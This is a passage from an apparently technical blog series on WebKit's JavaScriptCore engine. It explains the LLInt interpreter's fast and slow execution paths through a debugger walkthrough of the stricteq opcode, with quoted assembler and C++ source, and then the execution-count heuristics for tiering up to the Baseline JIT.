</span></span><span style="display:flex;"><span>   <span style="color:#ae81ff">0x00007ffff4e65b84</span> <span style="color:#f92672">&lt;+</span><span style="color:#ae81ff">53</span><span style="color:#f92672">&gt;:</span>    <span style="color:#a6e22e">jge</span>    <span style="color:#ae81ff">0x7ffff4e65b8d</span> <span style="color:#f92672">&lt;</span><span style="color:#a6e22e">llint_op_mov</span><span style="color:#f92672">+</span><span style="color:#ae81ff">62</span><span style="color:#f92672">&gt;</span>
</span></span><span style="display:flex;"><span>   <span style="color:#ae81ff">0x00007ffff4e65b86</span> <span style="color:#f92672">&lt;+</span><span style="color:#ae81ff">55</span><span style="color:#f92672">&gt;:</span>    <span style="color:#a6e22e">mov</span>    <span style="color:#a6e22e">rdx</span>,<span style="color:#a6e22e">QWORD</span> <span style="color:#a6e22e">PTR</span> [<span style="color:#a6e22e">rbp</span><span style="color:#f92672">+</span><span style="color:#a6e22e">rsi</span><span style="color:#f92672">*</span><span style="color:#ae81ff">8</span><span style="color:#f92672">+</span><span style="color:#ae81ff">0x0</span>]
</span></span><span style="display:flex;"><span>   <span style="color:#ae81ff">0x00007ffff4e65b8b</span> <span style="color:#f92672">&lt;+</span><span style="color:#ae81ff">60</span><span style="color:#f92672">&gt;:</span>    <span style="color:#a6e22e">jmp</span>    <span style="color:#ae81ff">0x7ffff4e65b9d</span> <span style="color:#f92672">&lt;</span><span style="color:#a6e22e">llint_op_mov</span><span style="color:#f92672">+</span><span style="color:#ae81ff">78</span><span style="color:#f92672">&gt;</span>
</span></span><span style="display:flex;"><span>   <span style="color:#ae81ff">0x00007ffff4e65b8d</span> <span style="color:#f92672">&lt;+</span><span style="color:#ae81ff">62</span><span style="color:#f92672">&gt;:</span>    <span style="color:#a6e22e">mov</span>    <span style="color:#a6e22e">rdx</span>,<span style="color:#a6e22e">QWORD</span> <span style="color:#a6e22e">PTR</span> [<span style="color:#a6e22e">rbp</span><span style="color:#f92672">+</span><span style="color:#ae81ff">0x10</span>]
</span></span><span style="display:flex;"><span>   <span style="color:#ae81ff">0x00007ffff4e65b91</span> <span style="color:#f92672">&lt;+</span><span style="color:#ae81ff">66</span><span style="color:#f92672">&gt;:</span>    <span style="color:#a6e22e">mov</span>    <span style="color:#a6e22e">rdx</span>,<span style="color:#a6e22e">QWORD</span> <span style="color:#a6e22e">PTR</span> [<span style="color:#a6e22e">rdx</span><span style="color:#f92672">+</span><span style="color:#ae81ff">0xb0</span>]
</span></span><span style="display:flex;"><span>   <span style="color:#ae81ff">0x00007ffff4e65b98</span> <span style="color:#f92672">&lt;+</span><span style="color:#ae81ff">73</span><span style="color:#f92672">&gt;:</span>    <span style="color:#a6e22e">mov</span>    <span style="color:#a6e22e">rdx</span>,<span style="color:#a6e22e">QWORD</span> <span style="color:#a6e22e">PTR</span> [<span style="color:#a6e22e">rdx</span><span style="color:#f92672">+</span><span style="color:#a6e22e">rsi</span><span style="color:#f92672">*</span><span style="color:#ae81ff">8</span><span style="color:#f92672">-</span><span style="color:#ae81ff">0x80</span>]
</span></span><span style="display:flex;"><span>   <span style="color:#ae81ff">0x00007ffff4e65b9d</span> <span style="color:#f92672">&lt;+</span><span style="color:#ae81ff">78</span><span style="color:#f92672">&gt;:</span>    <span style="color:#a6e22e">movsx</span>  <span style="color:#a6e22e">rsi</span>,<span style="color:#a6e22e">BYTE</span> <span style="color:#a6e22e">PTR</span> [<span style="color:#a6e22e">r13</span><span style="color:#f92672">+</span><span style="color:#a6e22e">r8</span><span style="color:#f92672">*</span><span style="color:#ae81ff">1</span><span style="color:#f92672">+</span><span style="color:#ae81ff">0x1</span>]
</span></span><span style="display:flex;"><span>   <span style="color:#ae81ff">0x00007ffff4e65ba3</span> <span style="color:#f92672">&lt;+</span><span style="color:#ae81ff">84</span><span style="color:#f92672">&gt;:</span>    <span style="color:#a6e22e">mov</span>    <span style="color:#a6e22e">QWORD</span> <span style="color:#a6e22e">PTR</span> [<span style="color:#a6e22e">rbp</span><span style="color:#f92672">+</span><span style="color:#a6e22e">rsi</span><span style="color:#f92672">*</span><span style="color:#ae81ff">8</span><span style="color:#f92672">+</span><span style="color:#ae81ff">0x0</span>],<span style="color:#a6e22e">rdx</span>
</span></span><span style="display:flex;"><span>   <span style="color:#ae81ff">0x00007ffff4e65ba8</span> <span style="color:#f92672">&lt;+</span><span style="color:#ae81ff">89</span><span style="color:#f92672">&gt;:</span>    <span style="color:#a6e22e">add</span>    <span style="color:#a6e22e">r8</span>,<span style="color:#ae81ff">0x3</span>
</span></span><span style="display:flex;"><span>   <span style="color:#ae81ff">0x00007ffff4e65bac</span> <span style="color:#f92672">&lt;+</span><span style="color:#ae81ff">93</span><span style="color:#f92672">&gt;:</span>    <span style="color:#a6e22e">movzx</span>  <span style="color:#a6e22e">eax</span>,<span style="color:#a6e22e">BYTE</span> <span style="color:#a6e22e">PTR</span> [<span style="color:#a6e22e">r13</span><span style="color:#f92672">+</span><span style="color:#a6e22e">r8</span><span style="color:#f92672">*</span><span style="color:#ae81ff">1</span><span style="color:#f92672">+</span><span style="color:#ae81ff">0x0</span>]
</span></span><span style="display:flex;"><span>   <span style="color:#ae81ff">0x00007ffff4e65bb2</span> <span style="color:#f92672">&lt;+</span><span style="color:#ae81ff">99</span><span style="color:#f92672">&gt;:</span>    <span style="color:#a6e22e">mov</span>    <span style="color:#a6e22e">rsi</span>,<span style="color:#a6e22e">QWORD</span> <span style="color:#a6e22e">PTR</span> [<span style="color:#a6e22e">rip</span><span style="color:#f92672">+</span><span style="color:#ae81ff">0x2e2264f</span>]        <span style="color:#960050;background-color:#1e0010">#</span> <span style="color:#ae81ff">0x7ffff7c88208</span>
</span></span><span style="display:flex;"><span>   <span style="color:#ae81ff">0x00007ffff4e65bb9</span> <span style="color:#f92672">&lt;+</span><span style="color:#ae81ff">106</span><span style="color:#f92672">&gt;:</span>   <span style="color:#a6e22e">jmp</span>    <span style="color:#a6e22e">QWORD</span> <span style="color:#a6e22e">PTR</span> [<span style="color:#a6e22e">rsi</span><span style="color:#f92672">+</span><span style="color:#a6e22e">rax</span><span style="color:#f92672">*</span><span style="color:#ae81ff">8</span>]
</span></span><span style="display:flex;"><span>   <span style="color:#ae81ff">0x00007ffff4e65bbc</span> <span style="color:#f92672">&lt;+</span><span style="color:#ae81ff">109</span><span style="color:#f92672">&gt;:</span>   <span style="color:#a6e22e">int3</span>   
</span></span><span style="display:flex;"><span>   <span style="color:#ae81ff">0x00007ffff4e65bbd</span> <span style="color:#f92672">&lt;+</span><span style="color:#ae81ff">110</span><span style="color:#f92672">&gt;:</span>   <span style="color:#a6e22e">int3</span>   
</span></span><span style="display:flex;"><span>   <span style="color:#ae81ff">0x00007ffff4e65bbe</span> <span style="color:#f92672">&lt;+</span><span style="color:#ae81ff">111</span><span style="color:#f92672">&gt;:</span>   <span style="color:#a6e22e">add</span>    <span style="color:#a6e22e">al</span>,<span style="color:#ae81ff">0x2</span>
</span></span><span style="display:flex;"><span>   <span style="color:#ae81ff">0x00007ffff4e65bc0</span> <span style="color:#f92672">&lt;+</span><span style="color:#ae81ff">113</span><span style="color:#f92672">&gt;:</span>   <span style="color:#a6e22e">add</span>    <span style="color:#a6e22e">BYTE</span> <span style="color:#a6e22e">PTR</span> [<span style="color:#a6e22e">rax</span>],<span style="color:#a6e22e">al</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">End</span> <span style="color:#66d9ef">of</span> <span style="color:#a6e22e">assembler</span> <span style="color:#a6e22e">dump</span>.
</span></span></code></pre></div><h2 id="fast-pathslow-path">Fast Path/Slow Path</h2>
<p>An important aspect of the LLInt is the concept and implementation of fast and slow paths. The LLInt, by design, is meant to generate fast code with a low latency as possible. The code generated, as seen earlier in this blog post, is typically machine code (e.g. x86 assembly) that implements bytecode operations. However, when executing bytecode the LLInt needs to determine the <em>types</em> of operands it receives with an opcode in order to pick the right execution path. For example consider the the following js code:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-js" data-lang="js"><span style="display:flex;"><span><span style="color:#66d9ef">let</span> <span style="color:#a6e22e">x</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">10</span>; 
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">let</span> <span style="color:#a6e22e">y</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">20</span>;
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">let</span> <span style="color:#a6e22e">z</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">x</span><span style="color:#f92672">+</span><span style="color:#a6e22e">y</span>;
</span></span></code></pre></div><p>The LLInt when when it executes the <code>add</code> opcode, it will check if the operands passed to it (i.e. <code>x</code> and <code>y</code>) are integers and if so it can implement the addition operation directly in machine code. Now consider the following js code:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-js" data-lang="js"><span style="display:flex;"><span><span style="color:#66d9ef">let</span> <span style="color:#a6e22e">x</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">10</span>;
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">let</span> <span style="color:#a6e22e">y</span> <span style="color:#f92672">=</span> {<span style="color:#a6e22e">a</span> <span style="color:#f92672">:</span> <span style="color:#e6db74">&#34;Ten&#34;</span>};
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">let</span> <span style="color:#a6e22e">z</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">x</span><span style="color:#f92672">+</span><span style="color:#a6e22e">y</span>; 
</span></span></code></pre></div><p>The LLInt can no longer perform addition directly in machine code since the types of <code>x</code> and <code>y</code> are different. In this instance, the LLInt will take <em>slow path</em> of execution which is a call to C++ code to handle cases were there is an operand type mismatch. This is a simplified explanation on how fast and slow paths work and the <code>add</code> opcode in particular has several other checks on its operands in addition to integer checks.</p>
<p>Additionally, when the LLInt needs to call into C++ code, it makes a call to a <em>slow path</em> which is essentially a trampoline into C++. If you&rsquo;ve been debugging along, you may have noticed calls to <a href="https://github.com/WebKit/WebKit/blob/b7e84a4224b3934868bc08f5c89b583355a6c87a/Source/JavaScriptCore/llint/LowLevelInterpreter64.asm#L386"><code>callSlowPath</code></a> or <a href="https://github.com/WebKit/WebKit/blob/b7e84a4224b3934868bc08f5c89b583355a6c87a/Source/JavaScriptCore/llint/LowLevelInterpreter64.asm#L94"><code>cCall2</code></a> as one steps through the execution in the LLInt most of which has been calls to the <a href="https://github.com/WebKit/WebKit/blob/b7e84a4224b3934868bc08f5c89b583355a6c87a/Source/JavaScriptCore/llint/LLIntSlowPaths.cpp#L316">tracing function</a> which is implemented in C++.</p>
<p>Lets now attempt to debug execution in a <em>slow path</em>. For this exercise the following js program is used:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-js" data-lang="js"><span style="display:flex;"><span><span style="color:#66d9ef">let</span> <span style="color:#a6e22e">x</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">10</span>;
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">let</span> <span style="color:#a6e22e">y</span> <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;Ten&#34;</span>;
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">x</span> <span style="color:#f92672">===</span> <span style="color:#a6e22e">y</span>;
</span></span></code></pre></div><p>Which generates the following bytecode dump:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>bb#1
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>   0<span style="color:#f92672">]</span> enter              
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>   1<span style="color:#f92672">]</span> get_scope          loc4
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>   3<span style="color:#f92672">]</span> mov                loc5, loc4
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>   6<span style="color:#f92672">]</span> check_traps        
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>   7<span style="color:#f92672">]</span> mov                loc6, Undefined<span style="color:#f92672">(</span>const0<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>  10<span style="color:#f92672">]</span> resolve_scope      loc7, loc4, 0, GlobalProperty, <span style="color:#ae81ff">0</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>  17<span style="color:#f92672">]</span> put_to_scope       loc7, 0, Int32: 10<span style="color:#f92672">(</span>const1<span style="color:#f92672">)</span>, 1048576&lt;DoNotThrowIfNotFound|GlobalProperty|Initialization|NotStrictMode&gt;, 0, <span style="color:#ae81ff">0</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>  25<span style="color:#f92672">]</span> resolve_scope      loc7, loc4, 1, GlobalProperty, <span style="color:#ae81ff">0</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>  32<span style="color:#f92672">]</span> put_to_scope       loc7, 1, String <span style="color:#f92672">(</span>atomic<span style="color:#f92672">)</span>,8Bit:<span style="color:#f92672">(</span>1<span style="color:#f92672">)</span>,length:<span style="color:#f92672">(</span>3<span style="color:#f92672">)</span>: Ten, StructureID: 22247<span style="color:#f92672">(</span>const2<span style="color:#f92672">)</span>, 1048576&lt;DoNotThrowIfNotFound|GlobalProperty|Initialization|NotStrictMode&gt;, 0, <span style="color:#ae81ff">0</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>  40<span style="color:#f92672">]</span> mov                loc6, Undefined<span style="color:#f92672">(</span>const0<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>  43<span style="color:#f92672">]</span> resolve_scope      loc7, loc4, 0, GlobalProperty, <span style="color:#ae81ff">0</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>  50<span style="color:#f92672">]</span> get_from_scope     loc8, loc7, 0, 2048&lt;ThrowIfNotFound|GlobalProperty|NotInitialization|NotStrictMode&gt;, 0, <span style="color:#ae81ff">0</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>  58<span style="color:#f92672">]</span> mov                loc7, loc8
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>  61<span style="color:#f92672">]</span> resolve_scope      loc8, loc4, 1, GlobalProperty, <span style="color:#ae81ff">0</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>  68<span style="color:#f92672">]</span> get_from_scope     loc9, loc8, 1, 2048&lt;ThrowIfNotFound|GlobalProperty|NotInitialization|NotStrictMode&gt;, 0, <span style="color:#ae81ff">0</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>  76<span style="color:#f92672">]</span> stricteq           loc6, loc7, loc9
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>  80<span style="color:#f92672">]</span> end                loc6
</span></span><span style="display:flex;"><span>Successors: <span style="color:#f92672">[</span> <span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Identifiers:
</span></span><span style="display:flex;"><span>  id0 <span style="color:#f92672">=</span> x
</span></span><span style="display:flex;"><span>  id1 <span style="color:#f92672">=</span> y
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Constants:
</span></span><span style="display:flex;"><span>   k0 <span style="color:#f92672">=</span> Undefined
</span></span><span style="display:flex;"><span>   k1 <span style="color:#f92672">=</span> Int32: 10: in source as integer
</span></span><span style="display:flex;"><span>   k2 <span style="color:#f92672">=</span> String <span style="color:#f92672">(</span>atomic<span style="color:#f92672">)</span>,8Bit:<span style="color:#f92672">(</span>1<span style="color:#f92672">)</span>,length:<span style="color:#f92672">(</span>3<span style="color:#f92672">)</span>: Ten, StructureID: <span style="color:#ae81ff">55445</span>
</span></span></code></pre></div><p>The bytecode of interest is the <code>stricteq</code> opcode at <code>bc#76</code>. This opcode is defined in <a href="https://github.com/WebKit/WebKit/blob/b7e84a4224b3934868bc08f5c89b583355a6c87a/Source/JavaScriptCore/llint/LowLevelInterpreter64.asm#L913"><em>LowLevelInterpreter64.asm</em></a> as follows:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c++" data-lang="c++"><span style="display:flex;"><span>macro <span style="color:#a6e22e">strictEqOp</span>(opcodeName, opcodeStruct, createBoolean)
</span></span><span style="display:flex;"><span>    llintOpWithReturn(op_<span style="color:#f92672">%</span>opcodeName<span style="color:#f92672">%</span>, opcodeStruct, macro (size, get, dispatch, <span style="color:#66d9ef">return</span>)
</span></span><span style="display:flex;"><span>        get(m_rhs, t0)
</span></span><span style="display:flex;"><span>        get(m_lhs, t2)
</span></span><span style="display:flex;"><span>        loadConstantOrVariable(size, t0, t1)
</span></span><span style="display:flex;"><span>        loadConstantOrVariable(size, t2, t0)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        <span style="color:#75715e"># At a high level we do
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>        <span style="color:#75715e"># If (left is Double || right is Double)
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>        <span style="color:#75715e">#     goto slowPath</span>;
</span></span><span style="display:flex;"><span>        <span style="color:#75715e"># result = (left == right);
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>        <span style="color:#75715e"># if (result)
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>        <span style="color:#75715e">#     goto done;
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>        <span style="color:#75715e"># if (left is Cell || right is Cell)
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>        <span style="color:#75715e">#     goto slowPath;
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>        <span style="color:#75715e"># done:
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>        <span style="color:#75715e"># return result;
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>
</span></span><span style="display:flex;"><span>        <span style="color:#75715e"># This fragment implements (left is Double || right is Double), with a single branch instead of the 4 that would be naively required if we used branchIfInt32/branchIfNumber
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>        <span style="color:#75715e"># The trick is that if a JSValue is an Int32, then adding 1&lt;&lt;49 to it will make it overflow, leaving all high bits at 0
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>        <span style="color:#75715e"># If it is not a number at all, then 1&lt;&lt;49 will be its only high bit set
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>        <span style="color:#75715e"># Leaving only doubles above or equal 1&lt;&lt;50.
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>        move t0, t2
</span></span><span style="display:flex;"><span>        move t1, t3
</span></span><span style="display:flex;"><span>        move LowestOfHighBits, t5
</span></span><span style="display:flex;"><span>        addq t5, t2
</span></span><span style="display:flex;"><span>        addq t5, t3
</span></span><span style="display:flex;"><span>        orq t2, t3
</span></span><span style="display:flex;"><span>        lshiftq <span style="color:#ae81ff">1</span>, t5
</span></span><span style="display:flex;"><span>        bqaeq t3, t5, .slow
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        cqeq t0, t1, t5
</span></span><span style="display:flex;"><span>        btqnz t5, t5, .done <span style="color:#960050;background-color:#1e0010">#</span>is there a better way of checking t5 <span style="color:#f92672">!=</span> <span style="color:#ae81ff">0</span> <span style="color:#f92672">?</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        move t0, t2
</span></span><span style="display:flex;"><span>        <span style="color:#75715e"># This andq could be an &#39;or&#39; if not for BigInt32 (since it makes it possible for a Cell to be strictEqual to a non-Cell)
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>        andq t1, t2
</span></span><span style="display:flex;"><span>        btqz t2, notCellMask, .slow
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    .done:
</span></span><span style="display:flex;"><span>        createBoolean(t5)
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">return</span>(t5)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    .slow:
</span></span><span style="display:flex;"><span>        callSlowPath(_slow_path_<span style="color:#f92672">%</span>opcodeName<span style="color:#f92672">%</span>)
</span></span><span style="display:flex;"><span>        dispatch()
</span></span><span style="display:flex;"><span>    end)
</span></span><span style="display:flex;"><span>end
</span></span></code></pre></div><p>One can set a breakpoint at this macro definition and step through the execution of this opcode. There are two reasons to pick this particular opcode, one being that it&rsquo;s execution paths are simple to follow and don&rsquo;t introduce unnecessary complexity and the second being that it comes with helpful developer comments to help the reader follow along.</p>
<p>Stepping through the execution, observe that the <em>checks for numbers</em> (i.e. integers and doubles) fails and execution control end up in the section that checks for JSCell headers. The <em>rhs</em> of the <code>stricteq</code> operation passes the <em>isCell</em> check and as a result execution jumps to the label <code>.slow</code> which calls the slow path:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c++" data-lang="c++"><span style="display:flex;"><span><span style="color:#75715e">//... truncated for brevity
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>        
</span></span><span style="display:flex;"><span>        move t0, t2
</span></span><span style="display:flex;"><span>        <span style="color:#75715e"># This andq could be an &#39;or&#39; if not for BigInt32 (since it makes it possible for a Cell to be strictEqual to a non-Cell)
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>        andq t1, t2
</span></span><span style="display:flex;"><span>        btqz t2, notCellMask, .slow
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#75715e">//... truncated for brevity
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>
</span></span><span style="display:flex;"><span>    .slow:
</span></span><span style="display:flex;"><span>        callSlowPath(_slow_path_<span style="color:#f92672">%</span>opcodeName<span style="color:#f92672">%</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">//... truncated for brevity
</span></span></span></code></pre></div><p>Stepping into the call to <code>callSlowPath</code> leads to the C++ implementation of <code>_slow_path_stricteq</code> defined in <a href="https://github.com/WebKit/WebKit/blob/b7e84a4224b3934868bc08f5c89b583355a6c87a/Source/JavaScriptCore/runtime/CommonSlowPaths.cpp#L413">CommonSlowPaths.cpp</a>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c++" data-lang="c++"><span style="display:flex;"><span>JSC_DEFINE_COMMON_SLOW_PATH(slow_path_stricteq)
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span>    BEGIN();
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">auto</span> bytecode <span style="color:#f92672">=</span> pc<span style="color:#f92672">-&gt;</span>as<span style="color:#f92672">&lt;</span>OpStricteq<span style="color:#f92672">&gt;</span>();
</span></span><span style="display:flex;"><span>    RETURN(jsBoolean(JSValue<span style="color:#f92672">::</span>strictEqual(globalObject, GET_C(bytecode.m_lhs).jsValue(), GET_C(bytecode.m_rhs).jsValue())));
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>This stub function retrieves the operand values and passes it to the function <a href="https://github.com/WebKit/WebKit/blob/b7e84a4224b3934868bc08f5c89b583355a6c87a/Source/JavaScriptCore/runtime/JavaScriptJSValueInlines.h#L1235"><code>JSValue::strictEqual</code></a> which is defined as follows:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c++" data-lang="c++"><span style="display:flex;"><span><span style="color:#66d9ef">inline</span> <span style="color:#66d9ef">bool</span> JSValue<span style="color:#f92672">::</span>strictEqual(JSGlobalObject<span style="color:#f92672">*</span> globalObject, JSValue v1, JSValue v2)
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">if</span> (v1.isInt32() <span style="color:#f92672">&amp;&amp;</span> v2.isInt32())
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">return</span> v1 <span style="color:#f92672">==</span> v2;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">if</span> (v1.isNumber() <span style="color:#f92672">&amp;&amp;</span> v2.isNumber())
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">return</span> v1.asNumber() <span style="color:#f92672">==</span> v2.asNumber();
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">#if USE(BIGINT32)
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    <span style="color:#66d9ef">if</span> (v1.isHeapBigInt() <span style="color:#f92672">&amp;&amp;</span> v2.isBigInt32())
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">return</span> v1.asHeapBigInt()<span style="color:#f92672">-&gt;</span>equalsToInt32(v2.bigInt32AsInt32());
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">if</span> (v1.isBigInt32() <span style="color:#f92672">&amp;&amp;</span> v2.isHeapBigInt())
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">return</span> v2.asHeapBigInt()<span style="color:#f92672">-&gt;</span>equalsToInt32(v1.bigInt32AsInt32());
</span></span><span style="display:flex;"><span><span style="color:#75715e">#endif
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">if</span> (v1.isCell() <span style="color:#f92672">&amp;&amp;</span> v2.isCell())
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">return</span> strictEqualForCells(globalObject, v1.asCell(), v2.asCell());
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">return</span> v1 <span style="color:#f92672">==</span> v2;
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>This function is responsible for performing all the various <em>slower</em> checks to determine if the <em>lhs</em> is strictly equal to the <em>rhs</em>. This concludes our discussion on the fast path/slow path pattern that&rsquo;s common across all JIT tiers in JavaScriptCore.</p>
<h2 id="tiering-up">Tiering Up</h2>
<p>When bytecode has been executed a certain number of times in the LLInt, the bytecodes gets profiled as being <em>warm</em> code and after an execution threshold is reached, the <em>warm</em> code is now considered <em>hot</em> and the LLInt can now <em>tier up</em> to a higher JIT tier. In this case JavaScriptCore would tier up into the Baseline JIT. The graph reproduced<sup id="fnref:4"><a href="#fn:4" class="footnote-ref" role="doc-noteref">4</a></sup> below shows a timeline on how the tiering up process functions:</p>
<p><img src="/images/jsc-part2/pipeline_execution.png" alt="pipeline-execution"></p>
<p>The <em>Control</em> section of the WebKit blog<sup id="fnref1:3"><a href="#fn:3" class="footnote-ref" role="doc-noteref">3</a></sup> describes the three main heuristics that are used by the various JIT tiers to determine thresholds for tiering up. These heuristics are <em>execution counts</em> for function calls and loop execution, <em>count exits</em> to count the number of times a function compiled by the optimising JIT tiers exits to a lower tier and <em>recompilation counts</em> which keeps track of the number of times a function is jettisoned to a lower tier.</p>
<p>The LLInt mainly uses <em>execution counts</em> to determine if a function or loop is <em>hot</em> and if the execution of this code should be tiered up. The execution counter in the LLInt utilises the following rules<sup id="fnref2:3"><a href="#fn:3" class="footnote-ref" role="doc-noteref">3</a></sup> to calculate the threshold to tier up:</p>
<blockquote>
<ul>
<li>Each call to the function adds 15 points to the execution counter.</li>
<li>Each loop execution adds 1 point to the execution counter.</li>
</ul>
</blockquote>
<p>There are two threshold values used by the LLInt for execution counting. The static value of <em>500 points</em> is used when no other information about the bytecodes execution or JIT status is captured. As the bytecode executes in the LLInt, tiers up and down, the engine generates a dynamic profile for the threshold value. The excerpt below<sup id="fnref3:3"><a href="#fn:3" class="footnote-ref" role="doc-noteref">3</a></sup> describes how dynamic threshold counts are determined in the LLInt:</p>
<blockquote>
<p>Over the years we’ve found ways to dynamically adjust these thresholds based on other sources of information, like:</p>
<ul>
<li>Whether the function got JITed the last time we encountered it (according to our cache). Let’s call this <code>wasJITed</code>.</li>
<li>How big the function is. Let’s call this <code>S</code>. We use the number of bytecode opcodes plus operands as the size.</li>
<li>How many times it has been recompiled. Let’s call this <code>R</code>.</li>
<li>How much executable memory is available. Let’s use <code>M</code> to say how much executable memory we have total, and <code>U</code> is the amount we estimate that we would use (total) if we compiled this function.</li>
<li>Whether profiling is “full” enough.</li>
</ul>
<p>We select the LLInt→Baseline threshold based on <code>wasJITed</code>. If we don’t know (the function wasn’t in the cache) then we use the basic threshold, 500. Otherwise, if the function <code>wasJITed</code> then we use 250 (to accelerate tier-up) otherwise we use 2000.</p>
</blockquote>
<p>The values of <code>S</code>, <code>R</code>, <code>M</code> and <code>U</code> aren&rsquo;t used by the LLInt to calculate a dynamic thresholds for tiering up but this will become relevant when exploring the optimising tiers later on in this blog series. The static <em>execution counter</em> thresholds are defined in <a href="https://github.com/WebKit/WebKit/blob/b7e84a4224b3934868bc08f5c89b583355a6c87a/Source/JavaScriptCore/runtime/OptionsList.h#L290">OptionsList.h</a>. The snippet below shows the values for LLInt→Baseline thresholds:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-C++" data-lang="C++"><span style="display:flex;"><span>v(Int32, thresholdForJITAfterWarmUp, <span style="color:#ae81ff">500</span>, Normal, <span style="color:#66d9ef">nullptr</span>) \
